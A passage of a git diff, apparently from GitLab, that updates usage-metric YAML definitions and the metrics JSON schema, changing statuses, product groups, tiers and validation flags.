@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510203015_in_product_marketing_email_verify_2_sent.yml b/config/metrics/counts_all/20210510203015_in_product_marketing_email_verify_2_sent.yml
index 2beabb8b007..5b74bfd8d8c 100644
--- a/config/metrics/counts_all/20210510203015_in_product_marketing_email_verify_2_sent.yml
+++ b/config/metrics/counts_all/20210510203015_in_product_marketing_email_verify_2_sent.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510203025_in_product_marketing_email_verify_2_cta_clicked.yml b/config/metrics/counts_all/20210510203025_in_product_marketing_email_verify_2_cta_clicked.yml
index 7213c463fa9..e30f41d003a 100644
--- a/config/metrics/counts_all/20210510203025_in_product_marketing_email_verify_2_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510203025_in_product_marketing_email_verify_2_cta_clicked.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510203035_in_product_marketing_email_trial_0_sent.yml b/config/metrics/counts_all/20210510203035_in_product_marketing_email_trial_0_sent.yml
index dc566f03898..555c0f1e47f 100644
--- a/config/metrics/counts_all/20210510203035_in_product_marketing_email_trial_0_sent.yml
+++ b/config/metrics/counts_all/20210510203035_in_product_marketing_email_trial_0_sent.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510203044_in_product_marketing_email_trial_0_cta_clicked.yml b/config/metrics/counts_all/20210510203044_in_product_marketing_email_trial_0_cta_clicked.yml
index a3cf714e5ad..23d8a6be343 100644
--- a/config/metrics/counts_all/20210510203044_in_product_marketing_email_trial_0_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510203044_in_product_marketing_email_trial_0_cta_clicked.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510203054_in_product_marketing_email_trial_1_sent.yml b/config/metrics/counts_all/20210510203054_in_product_marketing_email_trial_1_sent.yml
index f5215090b7e..794eaaf01c8 100644
--- a/config/metrics/counts_all/20210510203054_in_product_marketing_email_trial_1_sent.yml
+++ b/config/metrics/counts_all/20210510203054_in_product_marketing_email_trial_1_sent.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510203104_in_product_marketing_email_trial_1_cta_clicked.yml b/config/metrics/counts_all/20210510203104_in_product_marketing_email_trial_1_cta_clicked.yml
index 651c5426e2a..d8172d035b3 100644
--- a/config/metrics/counts_all/20210510203104_in_product_marketing_email_trial_1_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510203104_in_product_marketing_email_trial_1_cta_clicked.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510203114_in_product_marketing_email_trial_2_sent.yml b/config/metrics/counts_all/20210510203114_in_product_marketing_email_trial_2_sent.yml
index 4be98d45ce2..f781a32cd65 100644
--- a/config/metrics/counts_all/20210510203114_in_product_marketing_email_trial_2_sent.yml
+++ b/config/metrics/counts_all/20210510203114_in_product_marketing_email_trial_2_sent.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510203124_in_product_marketing_email_trial_2_cta_clicked.yml b/config/metrics/counts_all/20210510203124_in_product_marketing_email_trial_2_cta_clicked.yml
index 6be928da906..a79425144ac 100644
--- a/config/metrics/counts_all/20210510203124_in_product_marketing_email_trial_2_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510203124_in_product_marketing_email_trial_2_cta_clicked.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510203134_in_product_marketing_email_team_0_sent.yml b/config/metrics/counts_all/20210510203134_in_product_marketing_email_team_0_sent.yml
index ac9ffa730f1..d84f9b6d794 100644
--- a/config/metrics/counts_all/20210510203134_in_product_marketing_email_team_0_sent.yml
+++ b/config/metrics/counts_all/20210510203134_in_product_marketing_email_team_0_sent.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510203143_in_product_marketing_email_team_0_cta_clicked.yml b/config/metrics/counts_all/20210510203143_in_product_marketing_email_team_0_cta_clicked.yml
index cf51512c6eb..35a9797f2fe 100644
--- a/config/metrics/counts_all/20210510203143_in_product_marketing_email_team_0_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510203143_in_product_marketing_email_team_0_cta_clicked.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510203153_in_product_marketing_email_team_1_sent.yml b/config/metrics/counts_all/20210510203153_in_product_marketing_email_team_1_sent.yml
index b860b08e391..79c2b1362c0 100644
--- a/config/metrics/counts_all/20210510203153_in_product_marketing_email_team_1_sent.yml
+++ b/config/metrics/counts_all/20210510203153_in_product_marketing_email_team_1_sent.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510203203_in_product_marketing_email_team_1_cta_clicked.yml b/config/metrics/counts_all/20210510203203_in_product_marketing_email_team_1_cta_clicked.yml
index c0f63cadbf2..b4e08bd5d90 100644
--- a/config/metrics/counts_all/20210510203203_in_product_marketing_email_team_1_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510203203_in_product_marketing_email_team_1_cta_clicked.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510203213_in_product_marketing_email_team_2_sent.yml b/config/metrics/counts_all/20210510203213_in_product_marketing_email_team_2_sent.yml
index 887334c65c7..175c7171dba 100644
--- a/config/metrics/counts_all/20210510203213_in_product_marketing_email_team_2_sent.yml
+++ b/config/metrics/counts_all/20210510203213_in_product_marketing_email_team_2_sent.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210510203223_in_product_marketing_email_team_2_cta_clicked.yml b/config/metrics/counts_all/20210510203223_in_product_marketing_email_team_2_cta_clicked.yml
index 6dac2db454a..d6ec214b836 100644
--- a/config/metrics/counts_all/20210510203223_in_product_marketing_email_team_2_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510203223_in_product_marketing_email_team_2_cta_clicked.yml
@@ -7,7 +7,7 @@ product_stage: growth
product_group: group::activation
product_category: onboarding
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56752
time_frame: all
diff --git a/config/metrics/counts_all/20210514141520_project_imports_total.yml b/config/metrics/counts_all/20210514141520_project_imports_total.yml
new file mode 100644
index 00000000000..cfeb30a8ca6
--- /dev/null
+++ b/config/metrics/counts_all/20210514141520_project_imports_total.yml
@@ -0,0 +1,20 @@
+---
+key_path: usage_activity_by_stage.manage.project_imports.total
+description: 'Count number of projects imported monthly'
+product_section: dev
+product_stage: manage
+product_group: group::import
+product_category:
+value_type: number
+status: implemented
+milestone: "14.0"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61775
+time_frame: all
+data_source: database
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_all/20210517073546_package_events_i_package_helm_pull_package.yml b/config/metrics/counts_all/20210517073546_package_events_i_package_helm_pull_package.yml
new file mode 100644
index 00000000000..1ec944c3d7a
--- /dev/null
+++ b/config/metrics/counts_all/20210517073546_package_events_i_package_helm_pull_package.yml
@@ -0,0 +1,20 @@
+---
+key_path: counts.package_events_i_package_helm_pull_package
+description: Total count of pull Helm packages events
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package_registry
+value_type: number
+status: implemented
+milestone: "14.0"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61014
+time_frame: all
+data_source: redis
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210518081225_in_product_marketing_email_experience_0_sent.yml b/config/metrics/counts_all/20210518081225_in_product_marketing_email_experience_0_sent.yml
new file mode 100644
index 00000000000..f8a2b99b87e
--- /dev/null
+++ b/config/metrics/counts_all/20210518081225_in_product_marketing_email_experience_0_sent.yml
@@ -0,0 +1,21 @@
+---
+key_path: counts.in_product_marketing_email_experience_0_sent
+name: "count_sent_first_email_of_the_experience_track_for_in_product_marketing_emails"
+description: Total sent emails of the experience track's first email
+product_section:
+product_stage: growth
+product_group: group::activation
+product_category: onboarding
+value_type: number
+status: data_available
+milestone: "13.12"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61347
+time_frame: all
+data_source: database
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/license/20210204124827_hostname.yml b/config/metrics/license/20210204124827_hostname.yml
index 953239eff7a..40968500e13 100644
--- a/config/metrics/license/20210204124827_hostname.yml
+++ b/config/metrics/license/20210204124827_hostname.yml
@@ -17,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/license/20210204124829_active_user_count.yml b/config/metrics/license/20210204124829_active_user_count.yml
index 21dacb43d92..3987b6504f1 100644
--- a/config/metrics/license/20210204124829_active_user_count.yml
+++ b/config/metrics/license/20210204124829_active_user_count.yml
@@ -1,6 +1,6 @@
---
key_path: active_user_count
-description: This is named the instance_user_count in the Versions application.
+description: The number of active users existing in the instance. This is named the instance_user_count in the Versions application.
product_section: growth
product_stage: growth
product_group: group::product intelligence
@@ -16,4 +16,4 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/557
diff --git a/config/metrics/license/20210204124854_license_management_jobs.yml b/config/metrics/license/20210204124854_license_management_jobs.yml
deleted file mode 100644
index 81e3e17e24b..00000000000
--- a/config/metrics/license/20210204124854_license_management_jobs.yml
+++ /dev/null
@@ -1,17 +0,0 @@
----
-key_path: counts.license_management_jobs
-description: Name on the GitLab license
-product_section: growth
-product_stage: growth
-product_group: group::product intelligence
-product_category: collection
-value_type: number
-status: data_available
-time_frame: none
-data_source: database
-distribution:
-- ce
-tier:
-- premium
-- ultimate
-skip_validation: true
diff --git a/config/metrics/license/20210204124926_license_trial_ends_on.yml b/config/metrics/license/20210204124926_license_trial_ends_on.yml
deleted file mode 100644
index fb9ec099a46..00000000000
--- a/config/metrics/license/20210204124926_license_trial_ends_on.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: license_trial_ends_on
-description: Date the license ends on
-product_section: growth
-product_stage: growth
-product_group: group::product intelligence
-product_category: collection
-value_type: string
-status: data_available
-time_frame: none
-data_source: system
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/license/20210216181053_version.yml b/config/metrics/license/20210216181053_version.yml
index 824167c8d97..c267c2e9bca 100644
--- a/config/metrics/license/20210216181053_version.yml
+++ b/config/metrics/license/20210216181053_version.yml
@@ -4,13 +4,15 @@ description: Identifies the version of the external registry being used
product_section: ops
product_stage: package
product_group: group::package
-product_category:
-value_type: string
+product_category: container registry
+value_type: number
status: data_available
time_frame: none
data_source: system
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/license/20210216183237_version.yml b/config/metrics/license/20210216183237_version.yml
index 69d97e17f20..ff501697e95 100644
--- a/config/metrics/license/20210216183237_version.yml
+++ b/config/metrics/license/20210216183237_version.yml
@@ -1,9 +1,9 @@
---
key_path: git.version
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
+description: Information about Git version
+product_section: enablement
+product_stage: enablement
+product_group: group::distribution
product_category: ''
value_type: string
status: data_available
@@ -11,6 +11,8 @@ time_frame: none
data_source: system
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/objects_schemas/topology_schema.json b/config/metrics/objects_schemas/topology_schema.json
index c422966c5c5..013c9496069 100644
--- a/config/metrics/objects_schemas/topology_schema.json
+++ b/config/metrics/objects_schemas/topology_schema.json
@@ -20,7 +20,7 @@
"type": "object",
"properties": {
"name": { "type": "string", "description": "The name of the GitLab service running on this node" },
- "server": { "type": "string", "description": "The type of web server used (Unicorn or Puma)" },
+ "server": { "type": "string", "description": "The type of web server used (Puma only from 14.0)" },
"process_count": { "type": "number", "description": "The number of processes running for this service" },
"process_memory_rss": { "type": "number", "description": "The average Resident Set Size of a service process" },
"process_memory_uss": { "type": "number", "description": "The average Unique Set Size of a service process" },
diff --git a/config/metrics/schema.json b/config/metrics/schema.json
index e9a4a16ecd3..476e292e5c0 100644
--- a/config/metrics/schema.json
+++ b/config/metrics/schema.json
@@ -30,7 +30,7 @@
},
"status": {
"type": ["string"],
- "enum": ["data_available", "implemented", "not_used", "deprecated", "removed"]
+ "enum": ["data_available", "implemented", "not_used", "deprecated", "removed", "broken"]
},
"milestone": {
"type": ["string", "null"],
@@ -43,7 +43,10 @@
"introduced_by_url": {
"type": ["string", "null"]
},
- "extra": {
+ "repair_issue_url": {
+ "type": ["string"]
+ },
+ "options": {
"type": "object"
},
"time_frame": {
@@ -52,11 +55,15 @@
},
"data_source": {
"type": "string",
- "enum": ["database", "redis", "redis_hll", "prometheus", "system"]
+ "enum": ["database", "redis", "redis_hll", "prometheus", "system", "license"]
+ },
+ "data_category": {
+ "type": "string",
+ "enum": ["Operational", "Optional", "Subscription", "Standard"]
},
"instrumentation_class": {
"type": "string",
- "pattern": "^(([A-Z][a-z]+)+::)*(([A-Z][a-z]+)+)$"
+ "pattern": "^(([A-Z][a-z]+)+::)*(([A-Z]+[a-z]+)+)$"
},
"distribution": {
"type": "array",
@@ -78,5 +85,17 @@
"value_json_schema": {
"type": "string"
}
- }
+ },
+ "allOf": [
+ {
+ "if": {
+ "properties": {
+ "status": { "const": "broken" }
+ }
+ },
+ "then": {
+ "required": ["repair_issue_url"]
+ }
+ }
+ ]
}
diff --git a/config/metrics/settings/20210204124858_container_registry_enabled.yml b/config/metrics/settings/20210204124858_container_registry_enabled.yml
index d8a47a39912..5cccb84ec10 100644
--- a/config/metrics/settings/20210204124858_container_registry_enabled.yml
+++ b/config/metrics/settings/20210204124858_container_registry_enabled.yml
@@ -1,16 +1,18 @@
---
key_path: container_registry_enabled
-description: Whether container registry is enabled
-product_section: growth
-product_stage: growth
-product_group: group::product intelligence
-product_category: collection
+description: A count of projects where the container registry is enabled
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: container registry
value_type: boolean
status: data_available
time_frame: none
data_source: system
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/settings/20210204124900_dependency_proxy_enabled.yml b/config/metrics/settings/20210204124900_dependency_proxy_enabled.yml
index f7aa195f284..f06b89477a4 100644
--- a/config/metrics/settings/20210204124900_dependency_proxy_enabled.yml
+++ b/config/metrics/settings/20210204124900_dependency_proxy_enabled.yml
@@ -1,16 +1,18 @@
---
key_path: dependency_proxy_enabled
-description: Whether dependency proxy is enabled
-product_section: growth
-product_stage: growth
-product_group: group::product intelligence
-product_category: collection
+description: A count of projects where the dependency proxy is enabled
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: container registry
value_type: boolean
status: data_available
time_frame: none
data_source: system
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/settings/20210204124904_gravatar_enabled.yml b/config/metrics/settings/20210204124904_gravatar_enabled.yml
index b0280347b9f..a5ae02910c6 100644
--- a/config/metrics/settings/20210204124904_gravatar_enabled.yml
+++ b/config/metrics/settings/20210204124904_gravatar_enabled.yml
@@ -1,16 +1,19 @@
---
key_path: gravatar_enabled
description: Whether gravatar is enabled
-product_section: growth
-product_stage: growth
-product_group: group::product intelligence
-product_category: collection
+product_section: dev
+product_stage: manage
+product_group: group::access
+product_category: users
value_type: boolean
status: data_available
time_frame: none
data_source: system
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
+
diff --git a/config/metrics/settings/20210204124908_mattermost_enabled.yml b/config/metrics/settings/20210204124908_mattermost_enabled.yml
index a3c88cf976e..14303726d1f 100644
--- a/config/metrics/settings/20210204124908_mattermost_enabled.yml
+++ b/config/metrics/settings/20210204124908_mattermost_enabled.yml
@@ -1,16 +1,18 @@
---
key_path: mattermost_enabled
description: Whether Mattermost is enabled
-product_section: growth
-product_stage: growth
-product_group: group::product intelligence
-product_category: collection
+product_section: dev
+product_stage: create
+product_group: group::ecosystem
+product_category: integrations
value_type: boolean
status: data_available
time_frame: none
data_source: system
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/settings/20210204124912_prometheus_enabled.yml b/config/metrics/settings/20210204124912_prometheus_enabled.yml
index 092f273e237..0e8ce856858 100644
--- a/config/metrics/settings/20210204124912_prometheus_enabled.yml
+++ b/config/metrics/settings/20210204124912_prometheus_enabled.yml
@@ -11,6 +11,8 @@ time_frame: none
data_source: system
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/settings/20210204124914_prometheus_metrics_enabled.yml b/config/metrics/settings/20210204124914_prometheus_metrics_enabled.yml
index 43a13aff5e1..61b99f55452 100644
--- a/config/metrics/settings/20210204124914_prometheus_metrics_enabled.yml
+++ b/config/metrics/settings/20210204124914_prometheus_metrics_enabled.yml
@@ -11,6 +11,8 @@ time_frame: none
data_source: system
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/settings/20210204124916_reply_by_email_enabled.yml b/config/metrics/settings/20210204124916_reply_by_email_enabled.yml
index 40b863cd225..ba61de920de 100644
--- a/config/metrics/settings/20210204124916_reply_by_email_enabled.yml
+++ b/config/metrics/settings/20210204124916_reply_by_email_enabled.yml
@@ -1,16 +1,18 @@
---
key_path: reply_by_email_enabled
description: Whether incoming email is setup
-product_section: growth
-product_stage: growth
-product_group: group::product intelligence
+product_section: dev
+product_stage: plan
+product_group: group::certify
product_category: collection
value_type: boolean
status: data_available
time_frame: none
data_source: system
distribution:
-- ce
+ - ce
+ - ee
tier:
-- free
-skip_validation: true
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/settings/20210204124920_web_ide_clientside_preview_enabled.yml b/config/metrics/settings/20210204124920_web_ide_clientside_preview_enabled.yml
index bfb143d2013..80f247d9146 100644
--- a/config/metrics/settings/20210204124920_web_ide_clientside_preview_enabled.yml
+++ b/config/metrics/settings/20210204124920_web_ide_clientside_preview_enabled.yml
@@ -1,16 +1,18 @@
---
key_path: web_ide_clientside_preview_enabled
-description: Whether web ide clientside preview is enabled
-product_section: growth
-product_stage: growth
-product_group: group::product intelligence
+description: Whether Web IDE clientside preview is enabled
+product_section: dev
+product_stage: create
+product_group: group::editor
product_category: collection
value_type: boolean
status: data_available
time_frame: none
-data_source: system
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/settings/20210216175459_ingress_modsecurity_enabled.yml b/config/metrics/settings/20210216175459_ingress_modsecurity_enabled.yml
index f76bd0593b6..a2552d1f465 100644
--- a/config/metrics/settings/20210216175459_ingress_modsecurity_enabled.yml
+++ b/config/metrics/settings/20210216175459_ingress_modsecurity_enabled.yml
@@ -6,7 +6,8 @@ product_stage: protect
product_group: group::container security
product_category: web_firewall
value_type: boolean
-status: deprecated
+status: removed
+milestone_removed: 14.0
time_frame: none
data_source: system
distribution:
diff --git a/config/metrics/settings/20210216180314_gitpod_enabled.yml b/config/metrics/settings/20210216180314_gitpod_enabled.yml
index 0bad75fe3db..72e13f785d4 100644
--- a/config/metrics/settings/20210216180314_gitpod_enabled.yml
+++ b/config/metrics/settings/20210216180314_gitpod_enabled.yml
@@ -1,6 +1,6 @@
---
key_path: gitpod_enabled
-description: Whether gitpod is enabled in the instance
+description: Whether Gitpod is enabled in the instance
product_section: dev
product_stage: create
product_group: group::editor
@@ -8,7 +8,7 @@ product_category: integrations
value_type: boolean
status: data_available
time_frame: none
-data_source: system
+data_source: database
distribution:
- ce
- ee
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180836_enabled.yml b/config/metrics/settings/20210216180836_enabled.yml
index df71de8d4c2..c5f7e230767 100644
--- a/config/metrics/settings/20210216180836_enabled.yml
+++ b/config/metrics/settings/20210216180836_enabled.yml
@@ -4,7 +4,7 @@ description: Whether Object Storage is enabled for Artifacts
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: boolean
status: data_available
time_frame: none
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180838_enabled.yml b/config/metrics/settings/20210216180838_enabled.yml
index 7bb1135ee08..3e5fbdf1acd 100644
--- a/config/metrics/settings/20210216180838_enabled.yml
+++ b/config/metrics/settings/20210216180838_enabled.yml
@@ -4,7 +4,7 @@ description: Whether Object Storage is enabled for Artifacts
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: boolean
status: data_available
time_frame: none
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180840_direct_upload.yml b/config/metrics/settings/20210216180840_direct_upload.yml
index 788d101ba22..4356fe775d8 100644
--- a/config/metrics/settings/20210216180840_direct_upload.yml
+++ b/config/metrics/settings/20210216180840_direct_upload.yml
@@ -4,7 +4,7 @@ description: Whether Direct Upload for Object Storage is enabled for Artifacts
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: boolean
status: data_available
time_frame: none
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180841_background_upload.yml b/config/metrics/settings/20210216180841_background_upload.yml
index 77788a696d0..4570a701b53 100644
--- a/config/metrics/settings/20210216180841_background_upload.yml
+++ b/config/metrics/settings/20210216180841_background_upload.yml
@@ -4,7 +4,7 @@ description: Whether Background Upload for Object Storage is enabled for Artifac
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: boolean
status: data_available
time_frame: none
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180843_provider.yml b/config/metrics/settings/20210216180843_provider.yml
index c2d684605cb..fcaea534dab 100644
--- a/config/metrics/settings/20210216180843_provider.yml
+++ b/config/metrics/settings/20210216180843_provider.yml
@@ -4,10 +4,10 @@ description: What Object Storage provider has been configured for Artifacts
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: string
status: data_available
-time_frame: all
+time_frame: none
data_source: system
distribution:
- ce
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180845_enabled.yml b/config/metrics/settings/20210216180845_enabled.yml
index 9b5c02e3e16..dc29c7211fd 100644
--- a/config/metrics/settings/20210216180845_enabled.yml
+++ b/config/metrics/settings/20210216180845_enabled.yml
@@ -4,7 +4,7 @@ description: Whether Object Storage is enabled for External Diffs
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: boolean
status: data_available
time_frame: none
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180847_enabled.yml b/config/metrics/settings/20210216180847_enabled.yml
index 5babfc27fbf..c5be296e19f 100644
--- a/config/metrics/settings/20210216180847_enabled.yml
+++ b/config/metrics/settings/20210216180847_enabled.yml
@@ -4,7 +4,7 @@ description: Whether Object Storage is enabled for External Diffs
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: boolean
status: data_available
time_frame: none
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180849_direct_upload.yml b/config/metrics/settings/20210216180849_direct_upload.yml
index 56b17b7b44e..cdce6e0329c 100644
--- a/config/metrics/settings/20210216180849_direct_upload.yml
+++ b/config/metrics/settings/20210216180849_direct_upload.yml
@@ -4,7 +4,7 @@ description: Whether Direct Upload for Object Storage is enabled for External Di
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: boolean
status: data_available
time_frame: none
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180851_background_upload.yml b/config/metrics/settings/20210216180851_background_upload.yml
index 2108d35f4bf..67852d9f039 100644
--- a/config/metrics/settings/20210216180851_background_upload.yml
+++ b/config/metrics/settings/20210216180851_background_upload.yml
@@ -5,7 +5,7 @@ description: Whether Background Upload for Object Storage is enabled for Externa
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: boolean
status: data_available
time_frame: none
@@ -17,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180852_provider.yml b/config/metrics/settings/20210216180852_provider.yml
index 2d6d48d4be8..5c843969510 100644
--- a/config/metrics/settings/20210216180852_provider.yml
+++ b/config/metrics/settings/20210216180852_provider.yml
@@ -4,10 +4,10 @@ description: What Object Storage provider has been configured for External Diffs
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: string
status: data_available
-time_frame: all
+time_frame: none
data_source: system
distribution:
- ce
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180854_enabled.yml b/config/metrics/settings/20210216180854_enabled.yml
index f61f15622d7..40656fdfe2c 100644
--- a/config/metrics/settings/20210216180854_enabled.yml
+++ b/config/metrics/settings/20210216180854_enabled.yml
@@ -4,7 +4,7 @@ description: Whether Object Storage is enabled for LFS
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: boolean
status: data_available
time_frame: none
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180856_enabled.yml b/config/metrics/settings/20210216180856_enabled.yml
index 1c94354afc7..1892882d5bb 100644
--- a/config/metrics/settings/20210216180856_enabled.yml
+++ b/config/metrics/settings/20210216180856_enabled.yml
@@ -4,7 +4,7 @@ description: Whether Object Storage is enabled for LFS
product_section: enablement
product_stage: enablement
product_group: group::memory
-product_category: operational_metrics
+product_category: memory
value_type: boolean
status: data_available
time_frame: none
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210216180858_direct_upload.yml b/config/metrics/settings/20210216180858_direct_upload.yml
index acceccafa5f..f2b11a4e4a7 100644
--- a/config/metrics/settings/20210216180858_direct_upload.yml
+++ b/config/metrics/settings/20210216180858_direct_upload.yml
@@ -4,7 +4,7 @@ description: Whether Direct Upload for Object Storage is enabled for LFS
product_section: enablement
product_stage: enablement
product_group: group::memory
